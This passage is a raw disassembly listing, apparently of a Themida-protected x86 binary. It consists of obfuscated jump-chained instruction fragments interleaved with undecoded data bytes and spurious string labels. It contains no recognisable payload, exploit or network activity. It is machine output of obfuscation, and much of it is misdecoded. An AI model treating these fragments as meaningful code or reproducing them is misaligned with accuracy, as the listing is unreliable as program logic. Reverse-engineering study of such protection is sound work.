ecx, 4 push edi push eax mov eax, 40A253E0h push ecx mov ecx, 0CDE395Ah xor ecx, 2FAC7A30h and eax, ecx pop ecx add eax, 52EE713Dh add eax, 4B2A5057h shr eax, 6 inc eax xor eax, 278EC10h mov edi, eax pop eax jmp loc_5583A8 ; --------------------------------------------------------------------------- db 81h, 0C1h, 5Dh dd 5D069042h, 8101C183h, 78554CE9h, 59CB211Ch, 2414F753h dd 0DBF3815Bh, 52BEF9F7h, 0CD1930BAh, 0EF36E919h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555BFE: ; CODE XREF: Themida_:005566FCj sub esp, 4 jmp loc_564696 ; --------------------------------------------------------------------------- dw 972Dh dd 1541624h, 97B951F8h, 1541624h, 0E570E9C8h, 0C481FFFFh dd 4, 31242C33h, 2C33242Ch, 5F1DE924h, 5F580000h, 0CA2EE957h dd 0C888FFFFh, 0DA7EE9h, 88516600h, 53D1F6D1h, 0FA88CF88h dd 5159665Bh, 2CE9E1B1h, 5F0000F0h, 5C240C87h, 668868h dd 24048900h, 0FFFFD1E9h, 5DD3BEFFh, 0B8500BB2h, 0D46389Bh dd 0F7DAE9h, 0C8B6600h, 4EC8324h, 89240C89h, 0CF6852E1h dd 8900002Fh, 0BA68241Ch, 0E9522879h, 0FFFFDC82h, 9CC1385Ch dd 0FFC8DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_555C9D: ; CODE XREF: Themida_:0055A748j jmp loc_552579 ; --------------------------------------------------------------------------- aIS db '\$$ι²Η',0 dw 6800h dd 1AD7h, 55240489h, 0D22E90BDh, 0D172B862h, 0E8019D2Dh dd 0E9C2015Dh, 0FFFFEAC0h, 0F68EF680h, 0FFC680DEh, 0E649E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555CD6: ; CODE XREF: Themida_:0055F547j sub bl, 88h jmp loc_553A7C ; --------------------------------------------------------------------------- loc_555CDE: ; CODE XREF: Themida_:00556F51j mov ecx, [esp] add esp, 4 sub ebp, 0C0B1A5Bh add ebp, esi push edi mov edi, 0C0B1A5Bh add ebp, edi push dword ptr [esp] pop edi add esp, 4 add ebp, 5A58405Dh pop esi xchg ebp, [esp] pop esp movzx cx, al push small 1258h jmp loc_55501B ; --------------------------------------------------------------------------- loc_555D16: ; CODE XREF: Themida_:00555D9Aj sub esp, 4 mov [esp], eax pop ecx pop eax push ebx push eax push 25725B24h pop eax jmp loc_566F06 ; --------------------------------------------------------------------------- dw 0DAF7h dd 0FFCC62E9h db 0FFh ; --------------------------------------------------------------------------- loc_555D35: ; CODE XREF: Themida_:0055C566j dec esi add esi, 3C020A24h shr esi, 4 shl esi, 7 shr esi, 2 sub esi, 1 jmp loc_565E84 ; --------------------------------------------------------------------------- db 81h, 0EAh, 4 dd 52000000h, 42474FFh, 0AF1FE9h, 4EC8100h, 89000000h dd 0CFE92434h, 5A000099h, 8B24048Fh, 4282424h, 0FEE99C24h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555D7B: ; CODE XREF: Themida_:005551BEj push edx mov edx, 7CB405C1h jmp loc_556AA9 ; --------------------------------------------------------------------------- loc_555D86: ; CODE XREF: Themida_:005569FBj add edx, 4 push 6F78h mov [esp], ecx push eax mov eax, 4 jmp loc_555D16 ; --------------------------------------------------------------------------- loc_555D9F: ; CODE XREF: Themida_:0055AB30j shl edx, 4 sub edx, 10742871h not edx shr edx, 4 xor edx, offset byte_5ADE5D add ebp, edx pop edx jmp loc_558326 ; --------------------------------------------------------------------------- loc_555DBB: ; CODE XREF: Themida_:00559BE6j pop esp pop edx push edx push 24h pop edx push ebp jmp loc_55BC21 ; --------------------------------------------------------------------------- loc_555DCA: ; CODE XREF: Themida_:0055A3ACj and edi, 65A96DEDh shr edi, 4 sub edi, 0FFFFFFFFh jmp loc_556A7B ; --------------------------------------------------------------------------- loc_555DDE: ; CODE XREF: Themida_:0055688Ej pop esi mov esi, ebx jmp loc_55956B ; --------------------------------------------------------------------------- dw 3DB8h dd 0D04D678h, 7EE05EBDh, 0A01E5325h, 6A34E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555DFA: ; CODE XREF: Themida_:00566B4Aj pop edx jmp loc_566BAC ; --------------------------------------------------------------------------- dd 0D07A0DBFh, 217E923h, 4C010001h, 0FAE90424h, 53FFFFC7h dd 87CBE9h db 0 ; --------------------------------------------------------------------------- loc_555E19: ; CODE XREF: Themida_:005527F9j sub esp, 4 mov [esp], edx mov edx, 711D2F3Bh or edx, 5BED0C51h not edx inc edx shl edx, 1 neg edx xor edx, 0BE4D5FAEh xor ecx, edx jmp loc_5576AF ; --------------------------------------------------------------------------- dw 0DA89h dd 18CEE95Bh, 35400000h, 0BA90E5Bh, 158C201h, 0D4EA81FAh dd 5F08D235h, 0B850EA01h, 9390B2Dh, 0BDDEA81h, 0C22961E8h dd 0BDDC281h, 55E961E8h, 5F0000EEh, 8B243487h, 23682424h dd 89000017h, 74FF243Ch, 92E90424h, 33FFFFD0h, 0C31240Ch dd 240C3324h, 0D224248Bh, 0E99C2424h, 4809h ; --------------------------------------------------------------------------- loc_555EA0: ; CODE XREF: Themida_:0055751Dj pop esp jmp loc_558D58 ; --------------------------------------------------------------------------- dw 0E981h dd 71E4297Eh, 0C8BCE89h, 0E2895224h, 4C281h, 0C2810000h dd 4, 5C241487h, 875EF001h, 43E92404h, 0FF000063h, 5F042474h dd 8B24048Fh, 0AF0F2424h, 0B9FE9C8h db 1, 0 ; --------------------------------------------------------------------------- loc_555EE2: ; CODE XREF: Themida_:0055695Aj pop ebp push ecx xchg edx, [esp] not edx xor [esp], edx jmp loc_558BD2 ; --------------------------------------------------------------------------- loc_555EF1: ; CODE XREF: Themida_:00557CD4j push esp pop dword ptr [esp] jmp loc_55B7F1 ; --------------------------------------------------------------------------- dw 3489h dd 81E68924h, 4C6h, 5CC1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555F0A: ; CODE XREF: Themida_:00554936j and eax, esi pop esi push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_564BA9 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0E9h dd 3107F41Eh, 0BDE9C829h, 680000A4h, 40h, 3FF7E9h, 243C3300h dd 0C145E9h, 81516600h, 4ECh, 24148900h, 0CA80F7B2h, 0E4F280F0h dd 5AD188h, 0E44CE9CCh, 348B0000h, 4C48124h, 33000000h dd 14312414h, 24143324h, 7F81E9h, 2AC68100h, 172CF70h dd 2AEE81CEh, 8B72CF70h, 0C481240Ch, 4, 0FFCE82E9h, 0E9028FFFh dd 0FFFFC5E1h ; --------------------------------------------------------------------------- loc_555F98: ; CODE XREF: Themida_:005621DAj pop ebp add edi, ecx jmp loc_55BBE4 ; --------------------------------------------------------------------------- dd offset dword_432304+464h dd 240C8900h, 4EC81h, 34890000h, 5AE95324h, 66FFFFDAh dd 68240C8Bh, 6ACh, 54243C89h, 0C2A5E95Fh, 0C5810000h dd 1EC87AD1h, 5E2434FFh, 8104C483h, 2C5h, 242C3300h, 33242C31h dd 665C242Ch, 6866F1F7h, 8EE93E73h, 8900005Ah, 24148BD6h dd 119DEE9h db 0 ; --------------------------------------------------------------------------- loc_555FFD: ; CODE XREF: Themida_:00556C28j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push dword ptr [esp] pop ebp add esp, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edi sub esp, 4 jmp loc_55E66F ; --------------------------------------------------------------------------- db 66h dd 5624048Bh, 0C6815E54h, 4, 4BC568h, 243C8900h, 4EC81h dd 8F540000h, 4812404h, 424h, 243C8B00h, 8104C483h, 4C7h dd 4EF8100h, 33000000h, 3C31243Ch, 0E85AE924h, 2C89FFFFh dd 26824h, 2C8B0000h, 0CF7CE924h, 8CBFFFFFh, 0E960C632h dd 0FFFFD388h, 0C181E189h, 4, 61E5BD55h, 74E9597Fh, 56000017h dd 0C681E689h, 4, 8904EC83h, 0B951241Ch, 554A28BDh, 97566FBBh dd 0E9CB01B3h, 5409h, 66CBE281h, 0EAC16E19h, 7046E904h dd 45450000h, 1B89E950h, 2C890001h, 9CE95324h, 0B90000CDh dd 603C1EF3h, 2959C829h, 56F7E9C7h, 34890000h, 0DEDE924h dd 0B5B80001h, 0C130D100h, 0F40508E8h, 40733B53h, 656E3540h dd 0CD2D3F17h, 314D1746h, 0B560E9C2h, 0C8010000h, 58C30159h dd 4B02EBC1h, 2DABE9h, 0FEE95F00h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55612F: ; CODE XREF: Themida_:0055DE0Bj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push 5518h mov [esp], esp add dword ptr [esp], 4 jmp loc_5600DC ; --------------------------------------------------------------------------- loc_55614A: ; CODE XREF: Themida_:0055F3ADj xchg ebp, [esp] mov esp, [esp] jmp loc_564FAE ; --------------------------------------------------------------------------- loc_556155: ; CODE XREF: Themida_:00556E4Aj not ebx xchg ebx, [esp] mov ebx, [esp] jmp loc_5627F5 ; --------------------------------------------------------------------------- loc_556162: ; CODE XREF: Themida_:0055B62Fj or eax, eax jmp loc_55B508 ; --------------------------------------------------------------------------- loc_556169: ; CODE XREF: Themida_:00565656j not eax sub eax, 54637845h sub eax, 4885E579h jmp loc_5626DA ; --------------------------------------------------------------------------- dw 0CA29h dd 5828C281h, 87596DAEh, 248B2414h, 48F5424h, 24048124h dd 4, 1C42685Dh, 3C890000h, 8409E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5561A2: ; CODE XREF: Themida_:0055BF1Dj push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 push 0B44h mov [esp], edx jmp loc_5633C8 ; --------------------------------------------------------------------------- aZSsn db '<$ιαn',0 align 4 dd 8124248Bh, 4C6h, 2BD5500h, 1000000h, 34875DEEh, 24248B24h dd 4B30F66h, 92E99C24h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5561E7: ; CODE XREF: Themida_:0055446Cj push dx mov dl, 0E9h xor al, dl jmp loc_5628D6 ; --------------------------------------------------------------------------- loc_5561F2: ; CODE XREF: Themida_:0056257Cj pop eax add ebp, ecx mov ecx, [esp] add esp, 4 mov eax, ebp mov ebp, [esp] add esp, 4 jmp loc_559A9C ; --------------------------------------------------------------------------- db 0F7h aBq db 'ίο,',0 db 1Fh, 69h, 0C1h dd 0C78105E7h, 6A924E34h, 5B00EF81h, 0EA8124D1h, 0A2D2B8Ch dd 0B95EE9h, 0CBC38100h, 8937880Fh, 0D1295BDAh, 40F1815Ah dd 1BFDFE9h, 0AAA6E9C8h, 8B660000h, 54552404h, 4C5815Dh dd 83000000h, 2C8704EDh, 24248B24h, 51240C89h, 0C181E189h dd 4, 8704E983h, 0A0E9240Ch, 2D0000FCh, 384351DFh, 6768D801h dd 0E900004Dh, 7CA0h, 8704C383h, 525C241Ch, 24148B54h dd 1ACE9h, 32FF6400h, 0FFC2DCE9h, 0E9FCB1FFh, 1C64h, 83242489h dd 0E9042404h, 6D98h, 195E95Bh, 88050001h, 156B930h, 0FDC4E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5562C2: ; CODE XREF: Themida_:0056198Cj push 739Bh mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55A610 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 4EC81h, 56E90000h, 81000080h, 4C4h, 4EC8100h, 89000000h dd 0E589242Ch, 5EBAB850h, 0BE351AF4h, 11AF45Eh, 24048BC5h dd 8304C483h, 0D0E904EDh, 68000093h, 0FCCh, 89243C89h dd 0B95153E7h, 7C663F1Dh, 663F19BBh, 59CB317Ch, 0E95BDF01h dd 11353h, 0FABD5559h, 81455017h, 1D55ADC5h, 5E5C16Fh dd 8A67ED81h, 0EF01274Dh, 78ED815Dh, 15E2976h, 78BE56FDh dd 15E2976h, 34FF5EF5h, 89515F24h, 4C181E1h, 0E9000000h dd 4943h, 57FC981h, 0E9817EECh, 0A4388D28h, 0E959CD29h dd 0C32Bh, 5A5EF001h, 68242C8Bh, 303Dh, 54243489h, 4C6815Eh dd 81000000h, 4C6h, 0F747E900h, 8B660000h, 0BF68240Ch dd 89000030h, 0E2892414h, 3EBDE9h, 42B66800h, 14890000h dd 0C7885324h, 0FFF250E9h, 5AF000FFh, 8324148Bh, 0C33004C4h dd 0FFC0B60Fh, 14688734h, 89000071h, 3FB82404h, 0E911536Ch dd 8922h ; --------------------------------------------------------------------------- loc_5563F0: ; CODE XREF: Themida_:005620E5j xchg ecx, [esp] jmp loc_55C010 ; --------------------------------------------------------------------------- dd 24048B66h, 29396851h, 0F0680000h, 8900006Ch, 4812424h dd 424h, 24048F00h, 4240481h, 8B000000h, 0C481240Ch, 4 dd 30C8E9h, 0EC814D00h, 4, 5253E9h, 0B529BA00h, 5355A7CBh dd 108FAE9h, 4C48100h, 55000000h, 6B2FE9h, 15EA8100h, 29C57FEEh dd 4C315AD1h, 0C8B0424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_558183 ; --------------------------------------------------------------------------- db 0D2h dd 0E99C243Ch, 0FFFFC105h, 5B2434FFh, 4C481h, 48F0000h dd 0F3E95C24h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556487: ; CODE XREF: Themida_:0055FA5Cj push dword ptr [esp] pop esi add esp, 4 jmp loc_564BDC ; --------------------------------------------------------------------------- dw 0C483h dd 2434FF04h, 0BAFCE9h db 0 ; --------------------------------------------------------------------------- loc_5564A1: ; CODE XREF: Themida_:0055327Ej add ecx, 7AF70A1Ch sub ebp, ecx pop ecx sub ebp, 1E4451D6h add ebp, edi add ebp, 1E4451D6h add ebp, 2D01F5h sub ebp, 0B530636h mov edi, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp sar dword ptr [esp], cl pushf jmp loc_552579 ; --------------------------------------------------------------------------- loc_5564E0: ; CODE XREF: Themida_:00566248j mov [esp], esi push dword ptr [esp+4] jmp loc_55C5BC ; --------------------------------------------------------------------------- dd 81243489h, 4ECh, 24248900h, 4240481h, 8B000000h, 0CEE92434h dd 81000117h, 0DC6F6BE7h, 5EEF813Ch, 13C4C64h, 9CE95FFEh dd 59000056h, 2081BA52h, 81422BE3h, 0BD0DD8F2h, 5AD30168h dd 6CB1685Dh, 18E90000h, 810000BBh, 0C14030C3h, 4EC810Ah dd 89000000h, 67B9240Ch, 8144D80Dh, 6852A1EBh, 81CB015Fh dd 6852A1C3h, 8E68595Fh, 8900002Ah, 0E0892404h, 405h, 42D00h dd 4870000h, 4BC8E924h, 34FF0000h, 182FE924h db 1, 0 ; --------------------------------------------------------------------------- loc_55657E: ; CODE XREF: Themida_:0055415Bj push 430Eh mov [esp], ebp push 33253803h jmp loc_55ED63 ; --------------------------------------------------------------------------- loc_556590: ; CODE XREF: Themida_:005525D2j mov [esp], ecx mov cl, 7Dh jmp loc_554586 ; --------------------------------------------------------------------------- dw 2C89h dd 52E58924h, 0AFFE9h, 8734FF00h, 0E92434FFh, 0C8Ch ; --------------------------------------------------------------------------- loc_5565B0: ; CODE XREF: Themida_:0055C03Ej or eax, eax jz loc_55D356 push 235Ch mov [esp], esi mov esi, esp add esi, 4 push edx push esi mov esi, 15BB5F38h push ebx mov ebx, 0 sub ebx, esi xchg ebx, esi mov ebx, [esp] add esp, 4 shl esi, 2 push ecx mov ecx, 64F51AC1h jmp loc_56037F ; --------------------------------------------------------------------------- dd 0E92414F7h, 0FFFFE459h, 64F3C72Dh, 58C329A9h, 10305E9h db 0 ; --------------------------------------------------------------------------- loc_556605: ; CODE XREF: Themida_:00556949j push esi mov esi, 72C432DCh add esi, 735749AFh jmp loc_55F19D ; --------------------------------------------------------------------------- dw 3489h dd 2474FF24h, 2434FF04h, 0E789575Eh, 0BEBBE9h db 0 ; --------------------------------------------------------------------------- loc_556629: ; CODE XREF: Themida_:0055C32Fj mov edi, 4862372Dh sub edi, 0D192F6Ah add edi, 0C4B6F841h add ebx, edi pop edi xchg ebx, [esp] pop esp push edx mov edx, 3AB526D1h shr edx, 2 neg edx sub edx, 0A606EA5Eh xor ebx, edx pop edx jmp loc_55A974 ; --------------------------------------------------------------------------- dw 815Eh dd 132697EEh, 0B9FBE932h, 68530000h, 3508h, 56241489h dd 0A57F4EBEh, 0A3E94E6Eh db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_55667B: ; CODE XREF: Themida_:0055CAFEj pop eax sub esi, 65AD2C8Ah sub esi, edx add esi, 65AD2C8Ah sub esi, 1BDF21ECh pop edx neg esi add esi, 1 sub esp, 4 mov [esp], ebp mov ebp, 0DD0D33Eh add esi, 5F7F1778h add esi, 377A498Dh jmp loc_552FD9 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8DC68h, 5966E900h, 0B3B90000h, 29B72FAFh, 0C7815FF9h dd 6BC877EFh, 0EF81CF29h, 6BC877EFh, 2996E9h db 0 ; --------------------------------------------------------------------------- loc_5566DD: ; CODE XREF: Themida_:0055EBBBj mov [esp], ebp jmp loc_562B74 ; --------------------------------------------------------------------------- loc_5566E5: ; CODE XREF: Themida_:005575A1j sub edi, 62010C6Fh mov edx, edi pop edi sub edi, edx mov edx, [esp] add esp, 4 or edx, edi pop edi jmp loc_555BFE ; --------------------------------------------------------------------------- loc_556701: ; CODE XREF: Themida_:0056430Bj push edx mov dh, 0F7h jmp loc_56753E ; --------------------------------------------------------------------------- loc_556709: ; CODE XREF: Themida_:00567638j pop ebp push 18Fh mov [esp], eax mov eax, esp jmp loc_55E120 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 2456E9h, 0C4B95100h, 816CD410h, 6B31C3F1h, 59CA0177h dd 4EF3EA81h, 0ABE928E6h, 810000B0h, 7B6FDCF3h, 0CB815F7Bh dd 16AD67BDh, 9F8BE9h, 0C4815A00h, 4, 0C3768h, 6131E900h dd 0E95B0000h, 5E14h, 0F49BF57h, 7C2905B7h, 295F0824h dd 81042454h, 49042444h, 0E905B70Fh, 0FD55h, 0B5EE281h dd 0E2813BDBh, 708B2644h, 3A2EA81h, 0F3E92FB6h, 52FFFFCCh dd 0F78884B6h, 0BD1BE9h db 0 ; --------------------------------------------------------------------------- loc_5567A1: ; CODE XREF: Themida_:0055FBFEj pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push ebx mov ebx, 4 push edi mov edi, 11CE7B3Fh sub edi, 0F84D093Dh add ecx, edi pop edi sub ecx, 5E1411A1h add ecx, ebx add ecx, 5E1411A1h jmp loc_562042 ; --------------------------------------------------------------------------- aVsx5 db 'Vιx5',0 align 2 dw 489h dd 5E08924h, 4, 230BBE56h, 0F6817E14h, 9B001D7h, 3043E9h dd 5E545600h, 4C681h, 0B8500000h, 4, 67BE955h, 0DAF70000h dd 0B406F281h, 0D329BD13h, 0D8295F5Ah, 0A6EE9h db 0 ; --------------------------------------------------------------------------- loc_556825: ; CODE XREF: Themida_:00559DCCj push eax mov eax, 3DC813A7h sub eax, 3DC813A3h add ecx, eax mov eax, [esp] add esp, 4 push ebp push edi jmp loc_55BEBA ; --------------------------------------------------------------------------- loc_556842: ; CODE XREF: Themida_:00558419j add edi, 4 push esi push ebx push 6CAB455Fh pop ebx add ebx, 9354BAA5h mov esi, ebx jmp loc_554471 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 53E9241Ch db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55686B: ; CODE XREF: Themida_:00564BF4j add dword ptr [esp], 343B3DA3h mov ebx, [esp] jmp loc_566FD5 ; --------------------------------------------------------------------------- dw 0B1BBh dd 170272Dh, 5B08245Ch, 0D8A7E9h db 0 ; --------------------------------------------------------------------------- loc_556889: ; CODE XREF: Themida_:0055FEB2j add esi, ebx pop ebx xor ebx, esi jmp loc_555DDE ; --------------------------------------------------------------------------- loc_556893: ; CODE XREF: Themida_:0055270Dj push dword ptr [ebx] mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5623B1 ; --------------------------------------------------------------------------- dd 32240430h, 4302404h, 8DC5E924h, 0F7BA0000h, 29DF57DBh dd 0F4E95AD5h, 83FFFFD1h, 0F46804C4h, 0E900004Fh, 0FFFFD9CAh dd 405E089h, 52000000h, 4BAh, 46780500h, 0D02912D4h, 0D446782Dh dd 4875A12h, 2C895C24h, 2BD24h, 0C6810000h, 433A58C2h dd 0EE81EE01h, 433A58C2h, 56242C8Bh, 0C681E689h, 4, 0BB4FE9h dd 4EFC100h, 23FCE781h, 0C781408Eh, 0FFF7DF68h, 815FF989h dd 3461F6EBh, 19D8E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556936: ; CODE XREF: Themida_:005655A5j pop eax push edx push esp mov edx, [esp] jmp loc_558150 ; --------------------------------------------------------------------------- loc_556941: ; CODE XREF: Themida_:0056034Bj mov ecx, esp add ecx, 4 jmp loc_556605 ; --------------------------------------------------------------------------- loc_55694E: ; CODE XREF: Themida_:00558C06j mov ebp, 66092C33h mov ecx, 0D5CDFC2Ch add ecx, ebp jmp loc_555EE2 ; --------------------------------------------------------------------------- db 0B2h dd 0E12EE973h, 0EC83FFFFh, 24348904h, 0B4F4E9h, 48F5D00h dd 0E954E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55697A: ; CODE XREF: Themida_:0055BEC8j mov ebx, ecx pop ecx jmp loc_56165D ; --------------------------------------------------------------------------- dw 2DADh dd 31384323h, 4EC81h, 14890000h, 3634BA24h, 0E95129A1h dd 10E76h ; --------------------------------------------------------------------------- loc_55699C: ; CODE XREF: Themida_:0055BF46j pop esp push ebx push esp pop ebx jmp loc_560EB4 ; --------------------------------------------------------------------------- db 4Dh, 81h, 0EDh dd 0BB2AC735h, 875DEF01h, 248B243Ch, 0AAEB8024h, 0E9C0B60Fh dd 4881h, 0BF243C89h, 8139A11Bh, 76E3E9h, 0EE815E00h, 2C376FAAh dd 0C681D629h, 2C376FAAh, 76C6815Ah, 16EC250h, 76EE81C6h dd 0E96EC250h, 101B2h ; --------------------------------------------------------------------------- loc_5569F0: ; CODE XREF: Themida_:00559306j push esp push dword ptr [esp] pop edx add esp, 4 jmp loc_555D86 ; --------------------------------------------------------------------------- loc_556A00: ; CODE XREF: Themida_:005636DAj mov [esp], ecx mov ecx, 4 add ebx, ecx jmp loc_564C0E ; --------------------------------------------------------------------------- loc_556A0F: ; CODE XREF: Themida_:00562DBFj xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp inc dword ptr [esp] pushf jmp loc_552579 ; --------------------------------------------------------------------------- dw 48Fh aSat db '$ι t',0 align 2 dw 8952h dd 4C281E2h, 83000000h, 9E904EAh db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556A3B: ; CODE XREF: Themida_:005617C1j shr dl, 7 or dl, 0BBh xor dl, 8Fh sub dl, 54h jmp loc_557395 ; --------------------------------------------------------------------------- loc_556A4C: ; CODE XREF: Themida_:0055A90Cj neg esi and esi, 76F5CABh push edx mov edx, 3031B9h shl edx, 7 jmp loc_55B69C ; --------------------------------------------------------------------------- loc_556A62: ; CODE XREF: Themida_:005652D9j push dword ptr [esp] pop ecx jmp loc_5591CD ; --------------------------------------------------------------------------- db 0BBh dd 1CD10B5Dh, 18B2B951h, 44E9794Ah db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556A7B: ; CODE XREF: Themida_:00555DD9j shr edi, 8 jmp loc_5554E3 ; --------------------------------------------------------------------------- db 2Ch dd 4F80046h, 83595B46h, 4FE904ECh db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556A93: ; CODE XREF: Themida_:00561894j sub edi, ebx pop ebx sub eax, edi push dword ptr [esp] pop edi add esp, 4 push edx push eax jmp loc_55799E ; --------------------------------------------------------------------------- loc_556AA9: ; CODE XREF: Themida_:00555D81j sub [esp+4], edx pop edx pop edx push esi mov esi, 786D5B22h add esi, 446AA9Fh jmp loc_55FA69 ; --------------------------------------------------------------------------- loc_556AC0: ; CODE XREF: Themida_:005603C6j mov [esp], edx jmp loc_5661AA ; --------------------------------------------------------------------------- dd 4C481h, 86680000h, 89000029h, 35E9241Ch db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556ADB: ; CODE XREF: Themida_:00559F5Cj push ecx mov ecx, 7067019Ah xor ecx, 5DB52472h sub eax, ecx jmp loc_566476 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BE243489h, 4, 0C90C9C05h, 0F7B0E90Dh, 505BFFFFh dd 81E78957h, 4C7h, 4462E900h, 48F0000h, 24248B24h, 9C240CD2h dd 0FFBA54E9h, 0B5515BFFh, 91C58048h, 0E800542Ch, 94E95404h dd 0BDFFFFE1h, 4, 0FFC699E9h, 9CC884FFh, 0E55BE9h db 0 ; --------------------------------------------------------------------------- loc_556B49: ; CODE XREF: Themida_:00563F37j add esp, 4 push edi mov edi, 5E5258B2h jmp loc_566F5D ; --------------------------------------------------------------------------- loc_556B57: ; CODE XREF: Themida_:0055AF25j mov esp, [esp] push ebx jmp loc_5548F8 ; --------------------------------------------------------------------------- dd 15EF389h, 34875BDEh, 34FF5C24h, 24048B24h, 0E904C483h dd 90D3h, 592434FFh, 8904EC83h, 5D54242Ch, 0B2BA5251h dd 4A56C82Fh, 0F281E2D1h, 207C7430h, 33A0EA81h, 0F2816C2Fh dd 21BCF7B6h, 0A9E9D189h, 510000C7h, 0C82892B1h, 877CE9h db 0 ; --------------------------------------------------------------------------- loc_556BB1: ; CODE XREF: Themida_:00560ABAj push ebp mov ebp, esp add ebp, 4 push 4377h mov [esp], edx mov edx, 62E63C0Ah and edx, 2C7B5D80h inc edx dec edx xchg ecx, edx not ecx jmp loc_561A2C ; --------------------------------------------------------------------------- dd 2404FF55h, 0BA52505Dh, 6F5B2408h, 0E286E9h db 0 ; --------------------------------------------------------------------------- loc_556BE9: ; CODE XREF: Themida_:0055B4F3j sub ecx, 16F62C89h sub ecx, 242705A1h add ecx, 17A747F5h push 473h mov [esp], eax mov eax, 1EBB181Bh sub ecx, 2F827128h add ecx, 1EF45357h sub ecx, eax sub ecx, 1EF45357h add ecx, 2F827128h mov eax, [esp] push ebp push esp pop ebp jmp loc_555FFD ; --------------------------------------------------------------------------- loc_556C2D: ; CODE XREF: Themida_:00557912j mov edx, ebp pop ebp and edi, edx pop edx not edi xor edi, 2AE0A0Fh xor ebx, edi pop edi add ebp, ebx pop ebx push 7CEDh mov [esp], edi mov edi, 26B435B2h dec edi and edi, 4E08517Ch add edi, 0F9FFEED4h add ebp, edi mov edi, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_55D8D2 ; --------------------------------------------------------------------------- loc_556C71: ; CODE XREF: Themida_:00561524j neg ebp dec ebp jmp loc_55A5EC ; --------------------------------------------------------------------------- db 89h, 0E6h, 0E9h dd 0FFFFD22Ch ; --------------------------------------------------------------------------- loc_556C80: ; CODE XREF: Themida_:0055ADA1j push 7CD4h mov [esp], edi add dword ptr [esp], 1E3B320Eh push dword ptr [esp] pop eax add esp, 4 push edx push ebp push 0CDD06D1h jmp loc_55CC2F ; --------------------------------------------------------------------------- db 1, 0DDh, 81h dd 41424EEDh, 0C1E95B0Eh, 89000089h, 0B951243Ch, 73A668D0h dd 6397E9h, 4EC8100h, 89000000h, 0A7682414h, 8900003Ch dd 0F3BF243Ch, 0F7494F65h, 1EF81D7h, 0C1000000h, 0D7F706E7h dd 0D100E9h, 3236BA00h, 0C2811008h, 2E9FF0C8h, 815AD601h dd 9A5D45C6h, 5EF30181h, 0E904EC83h, 0FFFFD57Ch ; --------------------------------------------------------------------------- loc_556D08: ; CODE XREF: Themida_:00562C5Dj push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], edx push 24h jmp loc_556EB6 ; --------------------------------------------------------------------------- dw 30B9h dd 0E95F3346h, 0FFFFE906h, 0C003ECC0h, 0ECD005E4h, 0D39FE951h dd 0CA810000h, 52626DA3h, 0F281E2D1h, 0ECD7DBECh, 148BD001h dd 4C48124h, 87000000h, 0F65C2404h, 0B60F66E9h, 4EC83CCh dd 83243489h, 8F5404ECh, 4812404h, 424h, 0C4685E00h, 8900002Bh dd 75BA2414h, 815FCE67h, 0F114A8EAh, 34F2816Ah, 0E9C2855Ch dd 0FFFFEF9Ah, 0E2C1DAF7h, 4CBE5602h, 0C16CBC26h, 0DEF705E6h dd 0E908E6C1h, 9A3h ; --------------------------------------------------------------------------- loc_556DAC: ; CODE XREF: Themida_:00557974j sub al, 0FFh add al, 92h xor al, 0A7h mov ch, al pop eax not ch or ch, 8Ch jmp loc_5540D3 ; --------------------------------------------------------------------------- loc_556DBF: ; CODE XREF: Themida_:00564BC7j xor edi, 21CB525Ch add edi, 0A5BFDB7Fh sub ecx, edi pop edi xor ecx, 877CECE1h jmp loc_56693F ; --------------------------------------------------------------------------- db 81h, 0C6h, 1 dd 81000000h, 4ECh, 24148900h, 161056BAh, 9C59E92Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_556DF2: ; CODE XREF: Themida_:00562DEEj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_56095D ; --------------------------------------------------------------------------- dd 0E908E3C1h, 135Ah, 0E8A0E959h, 0EC83FFFFh, 0F7FAE904h dd 0D6F70000h, 361CEE81h, 0F28977E6h, 0B56CBB5Eh, 0D301E68Bh dd 5BDE015Ah, 8B243487h, 8B662424h, 0E9522404h, 4EEh ; --------------------------------------------------------------------------- loc_556E44: ; CODE XREF: Themida_:005549D1j mov [esp], ebx xchg ebx, [esp] 